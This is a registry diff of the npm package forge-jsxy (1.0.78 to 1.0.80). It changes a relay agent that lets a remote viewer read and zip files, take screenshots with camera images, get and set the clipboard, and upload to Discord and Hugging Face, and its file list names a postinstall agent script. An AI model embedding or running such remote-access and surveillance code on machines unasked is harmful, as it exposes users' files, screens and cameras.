forge-jsxy 1.0.78 → 1.0.80
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +965 -201
- package/assets/remote-control-template.html +1828 -409
- package/dist/assets/files-explorer-template.html +966 -202
- package/dist/assets/remote-control-template.html +1828 -409
- package/dist/cli-relay.js +3 -0
- package/dist/discordAgentScreenshot.js +14 -7
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/fsProtocol.d.ts +16 -1
- package/dist/fsProtocol.js +368 -86
- package/dist/hfCredentials.js +4 -1
- package/dist/hfUpload.js +38 -4
- package/dist/relayAgent.js +246 -23
- package/dist/relayDashboardGate.js +8 -0
- package/dist/relayServer.js +206 -25
- package/package.json +5 -3
- package/scripts/copy-assets.mjs +15 -2
- package/scripts/forge-jsx-explorer-upgrade.mjs +1 -1
- package/scripts/postinstall-agent.mjs +13 -0
package/dist/hfCredentials.js
CHANGED
|
@@ -14,12 +14,14 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
|
|
|
14
14
|
* Nothing is written to disk on the agent for that path. Use **`wss://`** in production so tokens
|
|
15
15
|
* are not sent in clear text. After each Hub upload that used relay-fetched credentials, call
|
|
16
16
|
* `scrubHfCredentialsInPlace` on that object so the token field is cleared
|
|
17
|
-
* (JavaScript cannot truly wipe string contents in memory).
|
|
17
|
+
* (JavaScript cannot truly wipe string contents in memory). The relay also scrubs its decrypted
|
|
18
|
+
* copy immediately after sending `relay_hf_credentials_result` over the socket.
|
|
18
19
|
*
|
|
19
20
|
* Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** to base64(iv12 || tag16 || ciphertext) where
|
|
20
21
|
* plaintext UTF-8 JSON is:
|
|
21
22
|
* `{ "token": "hf_...", "hubUrl": "https://huggingface.co", "namespace": "your_hf_user" }`
|
|
22
23
|
* (`hubUrl` optional; `namespace` = Hugging Face username or org for automatic `namespace/<seq_id>` session repos).
|
|
24
|
+
* The token must allow **writing** Hub repos (classic: enable Write; fine-grained: Repositories → write for that user/org).
|
|
23
25
|
*
|
|
24
26
|
* Optional dev escape hatch (not for production): `CFGMGR_HF_ALLOW_PLAINTEXT=1` with
|
|
25
27
|
* `HUGGINGFACE_HUB_TOKEN` and optional `HUGGINGFACE_HUB_URL`.
|
|
@@ -28,6 +30,7 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
|
|
|
28
30
|
* `CFGMGR_HF_MIN_FETCH_INTERVAL_MS`, `CFGMGR_HF_USE_XET` (written `0` in agent env; uploads do not use Hub Xet),
|
|
29
31
|
* `CFGMGR_HF_SKIP_OPENAS_BLOB` (default `1` — avoid `fs.openAsBlob` Hub payload path),
|
|
30
32
|
* `CFGMGR_HF_FETCH_RETRIES` / `CFGMGR_HF_FETCH_RETRY_MS`, `CFGMGR_HF_UPLOAD_RETRIES` / `CFGMGR_HF_UPLOAD_RETRY_MS`,
|
|
33
|
+
* `CFGMGR_HF_HUB_CUSTOM_FETCH=1` (optional legacy Hub fetch wrappers — default **off**; enabling can break LFS uploads),
|
|
31
34
|
* `CFGMGR_HF_VERBOSE_ERRORS=1` — see `hfUpload.ts`.
|
|
32
35
|
*/
|
|
33
36
|
const node_crypto_1 = require("node:crypto");
|
package/dist/hfUpload.js
CHANGED
|
@@ -55,7 +55,11 @@ exports.runHfUpload = runHfUpload;
|
|
|
55
55
|
* `CFGMGR_HF_LEGACY_MAX_BYTES`).
|
|
56
56
|
* Tree paths are sanitized (`..`, control chars). Hub **Xet is never used** for uploads (LFS only).
|
|
57
57
|
*
|
|
58
|
-
*
|
|
58
|
+
* **HTTP fetch:** by default Hub uploads use Node’s global `fetch` only. Set **`CFGMGR_HF_HUB_CUSTOM_FETCH=1`**
|
|
59
|
+
* on the agent to enable our retry + S3 CRC32 wrappers (legacy workaround); leaving it **off** avoids
|
|
60
|
+
* HTTP **403** failures on current HF LFS presigned uploads for many deployments.
|
|
61
|
+
*
|
|
62
|
+
* Resilience (defaults on with custom fetch): transient **fetch** throws retry (see `CFGMGR_HF_FETCH_RETRIES`);
|
|
59
63
|
* whole **commit** retries on transient Hub / wire errors (see `CFGMGR_HF_UPLOAD_RETRIES`). This improves
|
|
60
64
|
* success under blips; it cannot guarantee every upload (locks, auth, quotas, huge trees still fail).
|
|
61
65
|
*
|
|
@@ -133,6 +137,16 @@ function persistHubDisableXetToAgentEnv() {
|
|
|
133
137
|
process.env.CFGMGR_HF_USE_XET = "0";
|
|
134
138
|
}
|
|
135
139
|
const MEMORY_BLOB_UPLOAD_MAX = 80 * 1024 * 1024;
|
|
140
|
+
/** Hub error bodies may echo secrets — redact token-shaped substrings before showing in UI. */
|
|
141
|
+
function redactHubApiMessageForUi(raw, maxLen = 280) {
|
|
142
|
+
let s = String(raw || "")
|
|
143
|
+
.replace(/\bhf_[A-Za-z0-9_-]+\b/gi, "hf_[redacted]")
|
|
144
|
+
.replace(/\s+/g, " ")
|
|
145
|
+
.trim();
|
|
146
|
+
if (s.length > maxLen)
|
|
147
|
+
s = s.slice(0, maxLen).trimEnd() + "…";
|
|
148
|
+
return s;
|
|
149
|
+
}
|
|
136
150
|
async function memoryBlobFromLocalIfSmall(absPath) {
|
|
137
151
|
try {
|
|
138
152
|
const st = await fs.promises.stat(absPath);
|
|
@@ -168,8 +182,18 @@ function localDiskPathForUploadRetry(p) {
|
|
|
168
182
|
function formatHfUploadError(err) {
|
|
169
183
|
if (err instanceof hub_1.HubApiError) {
|
|
170
184
|
const c = err.statusCode;
|
|
171
|
-
|
|
172
|
-
|
|
185
|
+
const hubSays = redactHubApiMessageForUi(err.message || "");
|
|
186
|
+
const suffix = hubSays.length > 12 ? ` Hub details: ${hubSays}` : "";
|
|
187
|
+
if (c === 401) {
|
|
188
|
+
return ("Hugging Face rejected the token (HTTP 401). Regenerate an access token at " +
|
|
189
|
+
"https://huggingface.co/settings/tokens — classic tokens need **Write**, fine-grained tokens need **Repositories: write** " +
|
|
190
|
+
"for the target user/org. Encrypt it into RELAY_HF_CREDENTIALS_B64 (relay) or CFGMGR_HF_CREDENTIALS_B64 (agent) and restart." +
|
|
191
|
+
suffix);
|
|
192
|
+
}
|
|
193
|
+
if (c === 403) {
|
|
194
|
+
return ("Hugging Face denied writing this repo (HTTP 403). Common causes: token is **read-only**, fine-grained token lacks **write** on this repo/namespace, " +
|
|
195
|
+
"you are not an org **writer**, manual repo id is wrong, or the repo exists under another account. Session uploads use repo `<namespace>/<seq_id>` where **namespace** comes from your HF credentials JSON." +
|
|
196
|
+
suffix);
|
|
173
197
|
}
|
|
174
198
|
if (c === 404) {
|
|
175
199
|
return "Hugging Face repo not found. Check the repo id, namespace, or create the repo first.";
|
|
@@ -352,8 +376,18 @@ function computeCrc32(data) {
|
|
|
352
376
|
}
|
|
353
377
|
return (crc ^ 0xffffffff) >>> 0;
|
|
354
378
|
}
|
|
355
|
-
/**
|
|
379
|
+
/**
|
|
380
|
+
* Legacy Hub `fetch` injection (retries + min interval + S3 CRC32 header fix for older hub/S3 combos).
|
|
381
|
+
* Default **off** — enabling it can cause **HTTP 403** on LFS multipart uploads with current HF endpoints.
|
|
382
|
+
*/
|
|
383
|
+
function hubCustomFetchStackEnabled() {
|
|
384
|
+
const raw = (process.env.CFGMGR_HF_HUB_CUSTOM_FETCH || "").trim().toLowerCase();
|
|
385
|
+
return raw === "1" || raw === "true" || raw === "yes" || raw === "on";
|
|
386
|
+
}
|
|
387
|
+
/** Custom `fetch` for Hub when {@link hubCustomFetchStackEnabled}; otherwise native `fetch` only. */
|
|
356
388
|
function buildHubFetch() {
|
|
389
|
+
if (!hubCustomFetchStackEnabled())
|
|
390
|
+
return undefined;
|
|
357
391
|
const minMs = hubMinFetchIntervalMs();
|
|
358
392
|
const maxThrow = hubFetchMaxAttemptsOnThrow();
|
|
359
393
|
let inner = globalThis.fetch.bind(globalThis);
|
package/dist/relayAgent.js
CHANGED
|
@@ -46,6 +46,8 @@ const os = __importStar(require("node:os"));
|
|
|
46
46
|
const path = __importStar(require("node:path"));
|
|
47
47
|
const ws_1 = __importDefault(require("ws"));
|
|
48
48
|
const relayAuth_1 = require("./relayAuth");
|
|
49
|
+
const forgeRtcAgent_1 = require("./forgeRtcAgent");
|
|
50
|
+
const forgeBulkDc_1 = require("./forgeBulkDc");
|
|
49
51
|
const fsMessages_1 = require("./fsMessages");
|
|
50
52
|
const hfCredentials_1 = require("./hfCredentials");
|
|
51
53
|
const hfUpload_1 = require("./hfUpload");
|
|
@@ -314,11 +316,38 @@ function runRelayAgentLoop(opts) {
|
|
|
314
316
|
log(quiet, `CfgMgr relay agent [file explorer /fs_* only]\n Relay: ${relayUrl}\n Session: ${sessionId}\n FS explore: ${allowFilesystem ? "ON" : "OFF"}`);
|
|
315
317
|
log(quiet, " Connecting to relay...");
|
|
316
318
|
void (0, relayAuth_1.relayWsProxySetting)();
|
|
319
|
+
/** Reported in `info.features.webrtc_datachannel` for dashboards; relay still advertises ICE — viewers probe then fall back when false. */
|
|
320
|
+
const agentWebrtcDatachannelCapable = (0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)() && (0, forgeRtcAgent_1.loadNodeDcPeerConnection)() !== null;
|
|
317
321
|
const preOpenQueue = [];
|
|
322
|
+
let relayRtcIceServersCache = null;
|
|
323
|
+
let forgeRtcSession = null;
|
|
324
|
+
let rtcDcOutbound = null;
|
|
325
|
+
let rtcDcInputOutbound = null;
|
|
326
|
+
let rtcDcBulkOutbound = null;
|
|
327
|
+
/** Serialize `forge-bulk` frames so hdr/binary pairs do not interleave across concurrent fs ops. */
|
|
328
|
+
let bulkFsSendChain = Promise.resolve();
|
|
329
|
+
const forgeRtcPendingViewerIce = [];
|
|
330
|
+
const closeForgeRtcSessionOnly = () => {
|
|
331
|
+
try {
|
|
332
|
+
forgeRtcSession?.close();
|
|
333
|
+
}
|
|
334
|
+
catch {
|
|
335
|
+
/* skip */
|
|
336
|
+
}
|
|
337
|
+
forgeRtcSession = null;
|
|
338
|
+
rtcDcOutbound = null;
|
|
339
|
+
rtcDcInputOutbound = null;
|
|
340
|
+
rtcDcBulkOutbound = null;
|
|
341
|
+
bulkFsSendChain = Promise.resolve();
|
|
342
|
+
};
|
|
343
|
+
const resetForgeRtcNegotiation = () => {
|
|
344
|
+
forgeRtcPendingViewerIce.length = 0;
|
|
345
|
+
closeForgeRtcSessionOnly();
|
|
346
|
+
};
|
|
318
347
|
/** `ws` uses the same numeric states as browsers; avoid relying on `WebSocket.CONNECTING` export quirks. */
|
|
319
348
|
const WS_CONNECTING = 0;
|
|
320
349
|
const WS_OPEN = 1;
|
|
321
|
-
const
|
|
350
|
+
const sendJsonWs = (obj) => {
|
|
322
351
|
const w = outboundAgentWs;
|
|
323
352
|
if (!w)
|
|
324
353
|
return;
|
|
@@ -330,6 +359,91 @@ function runRelayAgentLoop(opts) {
|
|
|
330
359
|
preOpenQueue.push(obj);
|
|
331
360
|
}
|
|
332
361
|
};
|
|
362
|
+
const sendJson = (obj) => {
|
|
363
|
+
const rec = obj;
|
|
364
|
+
const ty = String(rec?.type ?? "");
|
|
365
|
+
const wsOnly = !ty ||
|
|
366
|
+
ty === "info" ||
|
|
367
|
+
ty.startsWith("forge_rtc_") ||
|
|
368
|
+
ty.startsWith("discord_") ||
|
|
369
|
+
ty.startsWith("relay_") ||
|
|
370
|
+
ty === "auth_challenge" ||
|
|
371
|
+
ty === "auth_result";
|
|
372
|
+
if (!wsOnly && (0, forgeRtcAgent_1.agentOutboundPreferRtcDc)(ty)) {
|
|
373
|
+
let payload;
|
|
374
|
+
try {
|
|
375
|
+
payload = JSON.stringify(obj);
|
|
376
|
+
}
|
|
377
|
+
catch {
|
|
378
|
+
payload = "";
|
|
379
|
+
}
|
|
380
|
+
if (payload.length > 0 && payload.length <= 32768) {
|
|
381
|
+
for (const dc of [rtcDcOutbound, rtcDcInputOutbound]) {
|
|
382
|
+
if (!dc?.isOpen())
|
|
383
|
+
continue;
|
|
384
|
+
try {
|
|
385
|
+
if (dc.sendMessage(payload)) {
|
|
386
|
+
return;
|
|
387
|
+
}
|
|
388
|
+
}
|
|
389
|
+
catch {
|
|
390
|
+
/* WS fallback */
|
|
391
|
+
}
|
|
392
|
+
}
|
|
393
|
+
}
|
|
394
|
+
}
|
|
395
|
+
sendJsonWs(obj);
|
|
396
|
+
};
|
|
397
|
+
const deliverFsResponse = (resp) => {
|
|
398
|
+
const ty = String(resp.type ?? "");
|
|
399
|
+
const bulk = rtcDcBulkOutbound;
|
|
400
|
+
if (bulk?.isOpen() &&
|
|
401
|
+
ty === "fs_screenshot_result" &&
|
|
402
|
+
typeof resp.b64 === "string" &&
|
|
403
|
+
resp.b64.length > 0) {
|
|
404
|
+
const cameraB64 = typeof resp.camera_b64 === "string" ? resp.camera_b64.trim() : "";
|
|
405
|
+
bulkFsSendChain = bulkFsSendChain
|
|
406
|
+
.then(() => {
|
|
407
|
+
if (!(0, forgeBulkDc_1.forgeBulkAgentTrySend)(bulk, resp)) {
|
|
408
|
+
sendJson(resp);
|
|
409
|
+
return false;
|
|
410
|
+
}
|
|
411
|
+
return true;
|
|
412
|
+
})
|
|
413
|
+
.then((mainOk) => {
|
|
414
|
+
if (!mainOk || cameraB64.length === 0)
|
|
415
|
+
return;
|
|
416
|
+
if (!(0, forgeBulkDc_1.forgeBulkAgentTrySendScreenshotCameraSidecar)(bulk, {
|
|
417
|
+
request_id: resp.request_id,
|
|
418
|
+
camera_mime: resp.camera_mime,
|
|
419
|
+
camera_width_percent: resp.camera_width_percent,
|
|
420
|
+
camera_available: resp.camera_available,
|
|
421
|
+
}, cameraB64)) {
|
|
422
|
+
sendJson(resp);
|
|
423
|
+
}
|
|
424
|
+
})
|
|
425
|
+
.catch(() => {
|
|
426
|
+
sendJson(resp);
|
|
427
|
+
});
|
|
428
|
+
return;
|
|
429
|
+
}
|
|
430
|
+
if (bulk?.isOpen() &&
|
|
431
|
+
(ty === "fs_read_result" || ty === "fs_zip_result") &&
|
|
432
|
+
typeof resp.b64 === "string" &&
|
|
433
|
+
resp.b64.length > 0) {
|
|
434
|
+
bulkFsSendChain = bulkFsSendChain
|
|
435
|
+
.then(() => {
|
|
436
|
+
if (!(0, forgeBulkDc_1.forgeBulkAgentTrySend)(bulk, resp)) {
|
|
437
|
+
sendJson(resp);
|
|
438
|
+
}
|
|
439
|
+
})
|
|
440
|
+
.catch(() => {
|
|
441
|
+
sendJson(resp);
|
|
442
|
+
});
|
|
443
|
+
return;
|
|
444
|
+
}
|
|
445
|
+
sendJson(resp);
|
|
446
|
+
};
|
|
333
447
|
const ws = new ws_1.default(wsUrl, {
|
|
334
448
|
/** Match relay `maxPayload` (2**27) so large `fs_read` / `fs_zip` frames from the server are accepted. */
|
|
335
449
|
maxPayload: 2 ** 27,
|
|
@@ -343,6 +457,8 @@ function runRelayAgentLoop(opts) {
|
|
|
343
457
|
let relayAgentHandshakeDone = false;
|
|
344
458
|
let discordLoopStarted = false;
|
|
345
459
|
let discordEnabledByRelayHandshake = false;
|
|
460
|
+
/** One `forge_rtc_agent_status` per viewer session so browsers do not spin ICE forever on unsupported agents. */
|
|
461
|
+
let forgeRtcStatusSentThisViewer = false;
|
|
346
462
|
const tryStartDiscordAfterHandshake = () => {
|
|
347
463
|
if (!openHandlerFinishedInfo || !relayAgentHandshakeDone || discordLoopStarted)
|
|
348
464
|
return;
|
|
@@ -430,6 +546,10 @@ function runRelayAgentLoop(opts) {
|
|
|
430
546
|
}
|
|
431
547
|
}
|
|
432
548
|
}
|
|
549
|
+
const iceRaw = caps.rtc_ice_servers;
|
|
550
|
+
if (Array.isArray(iceRaw) && iceRaw.length > 0) {
|
|
551
|
+
relayRtcIceServersCache = iceRaw;
|
|
552
|
+
}
|
|
433
553
|
}
|
|
434
554
|
relayAgentHandshakeDone = true;
|
|
435
555
|
try {
|
|
@@ -474,6 +594,7 @@ function runRelayAgentLoop(opts) {
|
|
|
474
594
|
filesystem: allowFilesystem,
|
|
475
595
|
screen: false,
|
|
476
596
|
password_required: Boolean(password),
|
|
597
|
+
webrtc_datachannel: agentWebrtcDatachannelCapable,
|
|
477
598
|
},
|
|
478
599
|
scale: 1.0,
|
|
479
600
|
quality: 0,
|
|
@@ -488,17 +609,17 @@ function runRelayAgentLoop(opts) {
|
|
|
488
609
|
tryStartDiscordAfterHandshake();
|
|
489
610
|
});
|
|
490
611
|
});
|
|
491
|
-
|
|
492
|
-
if (isBinary)
|
|
493
|
-
return;
|
|
494
|
-
let msg;
|
|
495
|
-
try {
|
|
496
|
-
msg = JSON.parse(String(data));
|
|
497
|
-
}
|
|
498
|
-
catch {
|
|
499
|
-
return;
|
|
500
|
-
}
|
|
612
|
+
const handleViewerInboundFromRelay = (msg, via) => {
|
|
501
613
|
const msgType = String(msg.type || "");
|
|
614
|
+
if (via === "dc") {
|
|
615
|
+
if (msgType.startsWith("forge_rtc_"))
|
|
616
|
+
return;
|
|
617
|
+
if (msgType !== "get_info" &&
|
|
618
|
+
!msgType.startsWith("fs_") &&
|
|
619
|
+
!msgType.startsWith("rc_")) {
|
|
620
|
+
return;
|
|
621
|
+
}
|
|
622
|
+
}
|
|
502
623
|
if (msgType === "discord_screenshot_upload_result") {
|
|
503
624
|
const rid = String(msg.request_id ?? "");
|
|
504
625
|
const pending = pendingDiscordRelayAck.get(rid);
|
|
@@ -565,6 +686,7 @@ function runRelayAgentLoop(opts) {
|
|
|
565
686
|
}
|
|
566
687
|
if (msgType === "viewer_connected") {
|
|
567
688
|
viewerConnected = true;
|
|
689
|
+
forgeRtcStatusSentThisViewer = false;
|
|
568
690
|
viewerAuthenticated = !password;
|
|
569
691
|
pendingAuthNonce = password ? (0, node_crypto_1.randomBytes)(16).toString("hex") : "";
|
|
570
692
|
log(quiet, ` Viewer connected${password ? " (awaiting auth)" : ""}`);
|
|
@@ -596,7 +718,10 @@ function runRelayAgentLoop(opts) {
|
|
|
596
718
|
}
|
|
597
719
|
if (msgType === "viewer_disconnected") {
|
|
598
720
|
viewerConnected = false;
|
|
599
|
-
|
|
721
|
+
forgeRtcStatusSentThisViewer = false;
|
|
722
|
+
resetForgeRtcNegotiation();
|
|
723
|
+
/** Always drop auth until `viewer_connected` — same effective behavior as password mode (`!password` was false there). */
|
|
724
|
+
viewerAuthenticated = false;
|
|
600
725
|
pendingAuthNonce = "";
|
|
601
726
|
log(quiet, " Viewer disconnected");
|
|
602
727
|
return;
|
|
@@ -640,6 +765,21 @@ function runRelayAgentLoop(opts) {
|
|
|
640
765
|
}
|
|
641
766
|
return;
|
|
642
767
|
}
|
|
768
|
+
/** Passwordless: relay may deliver this before deferred `viewer_connected`. Password sessions: only after auth (avoid leaking OS/version). */
|
|
769
|
+
if (msgType === "get_info") {
|
|
770
|
+
if (!password || viewerAuthenticated) {
|
|
771
|
+
sendJson({
|
|
772
|
+
type: "system_info",
|
|
773
|
+
data: {
|
|
774
|
+
...systemInfo(),
|
|
775
|
+
forge_jsx_version: forgeJsxVersion,
|
|
776
|
+
},
|
|
777
|
+
screen: screenOff,
|
|
778
|
+
scale: 1.0,
|
|
779
|
+
});
|
|
780
|
+
}
|
|
781
|
+
return;
|
|
782
|
+
}
|
|
643
783
|
if (!viewerAuthenticated) {
|
|
644
784
|
const rid = String(msg.request_id ?? "");
|
|
645
785
|
if (msgType === "fs_hf_upload") {
|
|
@@ -664,6 +804,8 @@ function runRelayAgentLoop(opts) {
|
|
|
664
804
|
"rc_clipboard_get",
|
|
665
805
|
"rc_clipboard_set",
|
|
666
806
|
"rc_file_push",
|
|
807
|
+
"forge_rtc_offer",
|
|
808
|
+
"forge_rtc_candidate",
|
|
667
809
|
].includes(msgType)) {
|
|
668
810
|
sendJson({
|
|
669
811
|
type: "fs_error",
|
|
@@ -678,16 +820,83 @@ function runRelayAgentLoop(opts) {
|
|
|
678
820
|
if (msgType === "relay_hf_credentials_request") {
|
|
679
821
|
return;
|
|
680
822
|
}
|
|
681
|
-
if (msgType === "
|
|
682
|
-
|
|
683
|
-
|
|
684
|
-
|
|
685
|
-
|
|
686
|
-
|
|
687
|
-
|
|
688
|
-
|
|
689
|
-
|
|
690
|
-
|
|
823
|
+
if (msgType === "forge_rtc_offer") {
|
|
824
|
+
resetForgeRtcNegotiation();
|
|
825
|
+
const peerCtor = (0, forgeRtcAgent_1.loadNodeDcPeerConnection)();
|
|
826
|
+
if (!(0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)() || !peerCtor) {
|
|
827
|
+
if (!forgeRtcStatusSentThisViewer) {
|
|
828
|
+
forgeRtcStatusSentThisViewer = true;
|
|
829
|
+
sendJsonWs({
|
|
830
|
+
type: "forge_rtc_agent_status",
|
|
831
|
+
ok: false,
|
|
832
|
+
datachannel: false,
|
|
833
|
+
detail: !(0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)()
|
|
834
|
+
? "WebRTC P2P disabled on agent (FORGE_JS_WEBRTC_P2P)."
|
|
835
|
+
: "Native WebRTC unavailable (optional dependency node-datachannel missing or failed to load). Remote control uses the relay WebSocket.",
|
|
836
|
+
});
|
|
837
|
+
}
|
|
838
|
+
return;
|
|
839
|
+
}
|
|
840
|
+
try {
|
|
841
|
+
forgeRtcSession = new forgeRtcAgent_1.ForgeRtcAgentSession({
|
|
842
|
+
PeerConnection: peerCtor,
|
|
843
|
+
sdp: String(msg.sdp ?? ""),
|
|
844
|
+
sdpType: String(msg.sdpType ?? "offer"),
|
|
845
|
+
iceServers: (0, forgeRtcAgent_1.rtcIceServersForNodeDc)(relayRtcIceServersCache ?? undefined),
|
|
846
|
+
sendSignaling: sendJsonWs,
|
|
847
|
+
setOutboundDc: (which, dc) => {
|
|
848
|
+
if (which === "main") {
|
|
849
|
+
rtcDcOutbound = dc;
|
|
850
|
+
}
|
|
851
|
+
else if (which === "input") {
|
|
852
|
+
rtcDcInputOutbound = dc;
|
|
853
|
+
}
|
|
854
|
+
else if (which === "bulk") {
|
|
855
|
+
rtcDcBulkOutbound = dc;
|
|
856
|
+
}
|
|
857
|
+
},
|
|
858
|
+
onInboundDcText: (text) => {
|
|
859
|
+
let inner;
|
|
860
|
+
try {
|
|
861
|
+
inner = JSON.parse(text);
|
|
862
|
+
}
|
|
863
|
+
catch {
|
|
864
|
+
return;
|
|
865
|
+
}
|
|
866
|
+
handleViewerInboundFromRelay(inner, "dc");
|
|
867
|
+
},
|
|
868
|
+
onFatal: () => {
|
|
869
|
+
resetForgeRtcNegotiation();
|
|
870
|
+
},
|
|
871
|
+
quiet,
|
|
872
|
+
});
|
|
873
|
+
}
|
|
874
|
+
catch (e) {
|
|
875
|
+
resetForgeRtcNegotiation();
|
|
876
|
+
sendJsonWs({
|
|
877
|
+
type: "forge_rtc_agent_status",
|
|
878
|
+
ok: false,
|
|
879
|
+
datachannel: false,
|
|
880
|
+
detail: String(e),
|
|
881
|
+
});
|
|
882
|
+
return;
|
|
883
|
+
}
|
|
884
|
+
for (const p of forgeRtcPendingViewerIce) {
|
|
885
|
+
forgeRtcSession?.addRemoteIce(p.candidate, p.mid);
|
|
886
|
+
}
|
|
887
|
+
forgeRtcPendingViewerIce.length = 0;
|
|
888
|
+
return;
|
|
889
|
+
}
|
|
890
|
+
if (msgType === "forge_rtc_candidate") {
|
|
891
|
+
const cand = String(msg.candidate ?? "").trim();
|
|
892
|
+
if (!cand)
|
|
893
|
+
return;
|
|
894
|
+
const mid = msg.sdpMid != null ? String(msg.sdpMid) : "";
|
|
895
|
+
if (!forgeRtcSession) {
|
|
896
|
+
forgeRtcPendingViewerIce.push({ candidate: cand, mid });
|
|
897
|
+
return;
|
|
898
|
+
}
|
|
899
|
+
forgeRtcSession.addRemoteIce(cand, mid);
|
|
691
900
|
return;
|
|
692
901
|
}
|
|
693
902
|
if ([
|
|
@@ -707,7 +916,7 @@ function runRelayAgentLoop(opts) {
|
|
|
707
916
|
void (async () => {
|
|
708
917
|
try {
|
|
709
918
|
const resp = await (0, fsMessages_1.buildFsResponse)(msg, allowFilesystem);
|
|
710
|
-
|
|
919
|
+
deliverFsResponse(resp);
|
|
711
920
|
}
|
|
712
921
|
catch (e) {
|
|
713
922
|
sendJson({
|
|
@@ -821,6 +1030,18 @@ function runRelayAgentLoop(opts) {
|
|
|
821
1030
|
})();
|
|
822
1031
|
});
|
|
823
1032
|
}
|
|
1033
|
+
};
|
|
1034
|
+
ws.on("message", (data, isBinary) => {
|
|
1035
|
+
if (isBinary)
|
|
1036
|
+
return;
|
|
1037
|
+
let parsed;
|
|
1038
|
+
try {
|
|
1039
|
+
parsed = JSON.parse(String(data));
|
|
1040
|
+
}
|
|
1041
|
+
catch {
|
|
1042
|
+
return;
|
|
1043
|
+
}
|
|
1044
|
+
handleViewerInboundFromRelay(parsed, "ws");
|
|
824
1045
|
});
|
|
825
1046
|
ws.on("close", () => {
|
|
826
1047
|
clearAllPendingDiscordAgent("agent websocket closed");
|
|
@@ -832,6 +1053,7 @@ function runRelayAgentLoop(opts) {
|
|
|
832
1053
|
}
|
|
833
1054
|
stopDiscordScreenshotLoop = null;
|
|
834
1055
|
preOpenQueue.length = 0;
|
|
1056
|
+
resetForgeRtcNegotiation();
|
|
835
1057
|
if (outboundAgentWs === ws)
|
|
836
1058
|
outboundAgentWs = null;
|
|
837
1059
|
relayDisconnectCleanup();
|
|
@@ -849,6 +1071,7 @@ function runRelayAgentLoop(opts) {
|
|
|
849
1071
|
log(quiet, ` Error: ${err}. Reconnecting in ${reconnectDelayMs / 1000}s...`);
|
|
850
1072
|
if (outboundAgentWs === ws) {
|
|
851
1073
|
preOpenQueue.length = 0;
|
|
1074
|
+
resetForgeRtcNegotiation();
|
|
852
1075
|
outboundAgentWs = null;
|
|
853
1076
|
}
|
|
854
1077
|
relayDisconnectCleanup();
|
|
@@ -306,5 +306,13 @@ function readJsonBody(req) {
|
|
|
306
306
|
}
|
|
307
307
|
});
|
|
308
308
|
req.on("error", () => fin({ error: "aborted" }));
|
|
309
|
+
/** RST / half-close without `error`: finish so `.then` handlers still run and sockets are not wedged. */
|
|
310
|
+
req.on("close", () => {
|
|
311
|
+
if (done)
|
|
312
|
+
return;
|
|
313
|
+
if (req.readableEnded)
|
|
314
|
+
return;
|
|
315
|
+
fin({ error: "aborted" });
|
|
316
|
+
});
|
|
309
317
|
});
|
|
310
318
|
}
|